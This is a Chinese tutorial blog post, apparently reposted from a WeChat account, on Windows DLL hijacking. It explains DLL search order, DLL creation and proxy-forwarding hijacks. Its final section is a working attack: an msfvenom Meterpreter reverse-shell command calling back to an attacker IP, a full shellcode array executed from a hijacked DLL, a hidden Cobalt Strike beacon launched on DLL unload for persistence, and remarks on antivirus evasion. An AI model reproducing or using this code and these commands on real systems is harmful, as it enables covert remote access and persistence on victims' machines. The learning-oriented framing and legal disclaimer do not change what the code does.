DLL劫持原理学习

  • A+
所属分类:逆向工程

  点击蓝字关注我哦



DLL劫持原理学习

0x01 什么是DLL?

百度百科:

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。

简而言之:

DLL 是一个包含可由多个程序同时使用的代码和数据的库。例如,在 Windows 操作系统中,Comdlg32 DLL 执行与对话框有关的常见函数。因此,每个程序都可以使用该 DLL 中包含的功能来实现“打开”对话框。这有助于促进代码重用和内存的有效使用。

0x02 程序运行时DLL的加载顺序

  • Windows XP SP2之前
    Windows查找DLL的目录以及对应的顺序:

  1. 进程对应的应用程序所在目录;

  2. 当前目录(Current Directory);

  3. 系统目录(通过 GetSystemDirectory 获取);

  4. 16位系统目录;

  5. Windows目录(通过 GetWindowsDirectory 获取);

  6. PATH环境变量中的各个目录;

栗子 :对于文件系统,如doc文档打开会被应用程序office打开,而office运行的时候会加载系统的一个dll文件,如果我们将用恶意的dll来替换系统的dll文件,就是将DLL和doc文档放在一起,运行的时候就会在当前目录中找到DLL,从而优先系统目录下的DLL而被执行。

  • 在Windows xp sp2之后

Windows查找DLL的目录以及对应的顺序(SafeDllSearchMode 默认会被开启):

默认注册表为:HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession ManagerSafeDllSearchMode,其键值为1

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);

  2. 系统目录(即%windir%system32);

  3. 16位系统目录(即%windir%system);

  4. Windows目录(即%windir%);

  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);

  6. PATH环境变量中的各个目录;

  • Windows7以上

系统没有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此项下的DLL文件就会被禁止从EXE自身所在的目录下调用,而只能从系统目录即SYSTEM32目录下调用,其注册表位置:

计算机HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs

那么最终Windows2003以上以及win7以上操作系统通过“DLL路径搜索目录顺序”和“KnownDLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。

  1. 进程对应的应用程序所在目录(可理解为程序安装目录比如C:ProgramFilesuTorrent);

  2. 系统目录(即%windir%system32);

  3. 16位系统目录(即%windir%system);

  4. Windows目录(即%windir%);

  5. 当前目录(运行的某个文件所在目录,比如C:DocumentsandSettingsAdministratorDesktoptest);

  6. PATH环境变量中的各个目录;

0x03编写DLL

vs2019-动态链接库项目

每个dll都一个dllmian.cpp源文件,默认如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule, // 模块句柄 DWORD ul_reason_for_call, // 调用原因 LPVOID lpReserved // 参数保留 ){ switch (ul_reason_for_call) // 根据调用原因选择不不同的加载方式 { case DLL_PROCESS_ATTACH: // DLL被某个程序加载 case DLL_THREAD_ATTACH: // DLL被某个线程加载 case DLL_THREAD_DETACH: // DLL被某个线程卸载 case DLL_PROCESS_DETACH: //DLL被某个程序卸载 break; } return TRUE;}

头文件:framework.h

#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include <windows.h>

pch.h

// pch.h: 这是预编译标头文件。// 下方列出的文件仅编译一次,提高了将来生成的生成性能。// 这还将影响 IntelliSense 性能,包括代码完成和许多代码浏览功能。// 但是,如果此处列出的文件中的任何一个在生成之间有更新,它们全部都将被重新编译。// 请勿在此处添加要频繁更新的文件,这将使得性能优势无效。
#ifndef PCH_H#define PCH_H
// 添加要在此处预编译的标头#include "framework.h"
#endif //PCH_H

举个栗子:

引入windows.h ,使用messagebox函数做一个demo:

dllmain.cpp

#include "pch.h"#include "windows.h"int add(int x,int y) {return(x + y);
}void message() { MessageBox(0, L"hello world", 0, 0);}

Framework.h

#pragma once
#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的内容// Windows 头文件#include <windows.h>

// 这种声明方式是强制用c语言方式进行修饰,且用C的默认约定__cdecl方式。// 这种方式编译产生的DLL中有两个导出函数:add,message。不加任何修饰。
extern "C" __declspec(dllexport) int add(int x,int y);extern "C" __declspec(dllexport) void message(void);

生成—>生成解决方案,得到dll

DLL劫持原理学习

0x04 调用DLL

python调用DLL

import ctypesdll = ctypes.CDLL("dll路径")a=dll.func()a


DLL劫持原理学习

c++加载时动态链接

#include "iostream"using namespace std;#pragma comment(lib,"C:\Users\bz\source\repos\DLL_demo\x64\Release\DLL_demo.lib")extern "C" __declspec(dllimport) int add(int a, int b);extern "C" __declspec(dllimport) void message();int main() {    cout << add(1, 2) << endl;    message();
}

DLL劫持原理学习

c++运行时动态链接

#include <iostream>#include <Windows.h>using namespace std;//定义一个函数类,typedef int(*addfun)(int a, int b);typedef void(*messagefun)();
int main(){ //指定加载dll库 HMODULE hdll = LoadLibrary(LPCWSTR(L"DLL_demo.dll")); if (hdll != NULL) { //获取函数位置 addfun add = (addfun)GetProcAddress(hdll, "add"); messagefun message = (messagefun)GetProcAddress(hdll, "message"); if (add != NULL) { cout << add(1, 2) << endl; // system("pause");
} if (add = NULL) { printf("获取函数失败"); // system("pause");
} if (message!= NULL) { message(); } FreeLibrary(hdll); } else { printf("获取句柄失败"); system("pause"); }}

DLL劫持原理学习

0x05 转发式DLL劫持

简而言之,不影响程序 本身功能的同时执行恶意dll

DLL劫持原理学习

举个栗子:

将原来的dll名写在转发方法里,然后将生成的dll文件重命名为劫持的dll文件名:

#include "pch.h"#include "windows.h"//开始转发,将函数方法转发//导出函数#pragma comment(linker,"/EXPORT:add=testdll.add,@1")#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")//入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        MessageBox(NULL, L"hacked by cxk", L"hi", MB_OK);    }    else if (dwReason == DLL_PROCESS_DETACH)    {
}
return TRUE;}

然后将dll放在exe同一目录,已经劫持成功了:

DLL劫持原理学习

0x06 使用DLL劫持上线主机

dll加载shellcode上线

生成shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=172.20.10.6 -b 'xfcxe8' lport=4444 -f c

DLL劫持原理学习

生成dll:

#include "pch.h"#include "windows.h"//开始转发,将函数方法转发//导出函数#pragma comment(linker,"/EXPORT:add=testdll.add,@1")#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")//入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);        unsigned char buf[] =            "x48x31xc9x48x81xe9xc0xffxffxffx48x8dx05xefxff"            "xffxffx48xbbx66x9ax22x85x4fxeexeexb7x48x31x58"            "x27x48x2dxf8xffxffxffxe2xf4x9axd2xa1x61xbfx06"            "x22xb7x66x9ax63xd4x0exbexbcxe6x2exabxf0xd3x2a"            "xa6x65xe5x06xd2xa9xd7x57xa6x65xe5x46xd7x13x4c"            "x07x65x9cxe7x2ex95x95xcfx05xa6xdfx77xcaxa6x43"            "xf9x4dxc2xcexf6xa7x53x2fxc4x4ex2fx0cx5ax34xdb"            "x73xcdxc4xbcxcex3cx24xa6x6ax84x9fx88x6fxcfx7e"            "x91x20x8axcax9cxeexb7x66x11xa2x0dx4fxeexeexff"            "xe3x5ax56xe2x07xefx3ex3cx2ex82x72xc1xc4xaexce"            "xfex67x4axc1xd3x07x11x27xf6xedxaexaaxc8x7ex27"            "xa6xb6xb0xd2x13x45xe3xafx2fx7ex6bxdbx23x44x77"            "x0ex9bx46x2ax99x6exa1x47xabxd7x66x13x42x7axc1"            "xc4xaexcaxfex67x4ax44xc4xc4xe2xa6xf3xedxdax3e"            "xccx4ex3exafx3cx62x12x63xddx07xefx3exf6x3exc4"            "x7bxdfx0exb6xafxeex27xc0x6ax06xa3xcexafxe5x99"            "x7ax7axc4x16xb4xa6x3cx74x73x69x7axb0x11xb3xfe"            "xd8xedx51xb7x10xddxdcxb7x66xdbx74xccxc6x08xa6"            "x36x8ax3ax23x85x4fxa7x67x52x2fx26x20x85x5exb2"            "x42xa3x6cx9cx63xd1x06x67x0axfbxefx6bx63x3fx03"            "x99xc8xb0x99x4fx6ex0cxa5x86xefxb6x66x9ax7bxc4"            "xf5xc7x6exdcx66x65xf7xefx45xafxb0xe7x36xd7x13"            "x4cx02xdfx2exffx99x5ax6ax0cx8dxa6x11x77x2ex13"            "xe3xc4xf5x04xe1x68x86x65xf7xcdxc6x29x84xa7x27"            "xc2x6ex0cxadxa6x67x4ex27x20xbbx20x3bx8fx11x62"            "xe3x5ax56x8fx06x11x20xc2x83x72xb1x85x4fxeexa6"            "x34x8ax8ax6ax0cxadxa3xdfx7ex0cx9ex63xddx07x67"            "x17xf6xdcx98xfbx4dx10x11x3bx34x9ex9ax5cxd0x07"            "x6dx2ax97x38x13xd4xefx0fxafxb7xdfx66x8ax22x85"            "x0exb6xa6x3ex94xd2x13x4cx0ex54xb6x13x35x7fxdd"            "x50x07x67x2dxfexefx5dx6fxb4x86xa7x67x47x2ex13"            "xf8xcdxc6x17xafx0dx64x43xeaxdaxb0x3bx6dx4fx66"            "xe7x0axddx0exb9xb7xdfx66xdax22x85x0exb6x84xb7"            "x3cxdbx98x8ex60xe1xdex48xb3xcdx7bxc4xf5x9bx80"            "xfax07x65xf7xccxb0x20x07x8bx99x65xddxcdx4ex2d"            "xa6x9exa0xd2xa7x73x3ax5axafx48x81xc2x48x85x16"            "xa7x29x75x96x2fx80xd3xb0x3bxeexb7";        size_t size = sizeof(buf);        char* inject = (char*)VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);        memcpy(inject, buf, size);        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)inject, 0, 0, 0);    }    else if (dwReason == DLL_PROCESS_DETACH)    {    }    return TRUE;}

Ps:这种直接生成的dll不免杀,实战中需要做免杀处理。

dll加载免杀马上线

首先给这个文件加一个隐藏属性:

attrib +h beacon.exe

接着采用DLL去加载这个木马,

代码如下:

#include "pch.h"#include "windows.h"//开始转发,将函数方法转发//导出函数#pragma comment(linker,"/EXPORT:add=testdll.add,@1")#pragma commnet(linker,"/EXPORT:message=testdll.message,@2")//入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){    if (dwReason == DLL_PROCESS_ATTACH)    {        DisableThreadLibraryCalls(hModule);    }    else if (dwReason == DLL_PROCESS_DETACH)    {        STARTUPINFO si = { sizeof(si) };        PROCESS_INFORMATION pi;        CreateProcess(TEXT("path\beacon.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);    }
return TRUE;}

然后后面直接去尝试加载就行了,程序执行完的时候(DLL_PROCESS_DETACH),会自动加载我们的cs马。

说一下这种方案的好处,就是DLL根本没有恶意操作,所以肯定会免杀,但是你的木马文件要做好免杀,这种思路主要应用于通过劫持一些程序的DLL,然后实现隐蔽的重启上线,也就是权限持续维持,单单杀启动项对DLL进行权限维持的方式来说是没有用的。

参考文章:https://www.anquanke.com/post/id/232891#h2-12



DLL劫持原理学习

END

DLL劫持原理学习


DLL劫持原理学习


看完记得点赞,关注哟,爱您!


请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付!



关注此公众号,回复"Gamma"关键字免费领取一套网络安全视频以及相关书籍,公众号内还有收集的常用工具!

在看你就赞赞我!
DLL劫持原理学习
DLL劫持原理学习
DLL劫持原理学习
DLL劫持原理学习
扫码关注我们
DLL劫持原理学习


扫码领hacker资料,常用工具,以及各种福利

DLL劫持原理学习

转载是一种动力 分享是一种美德


本文始发于微信公众号(远洋的小船):DLL劫持原理学习

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: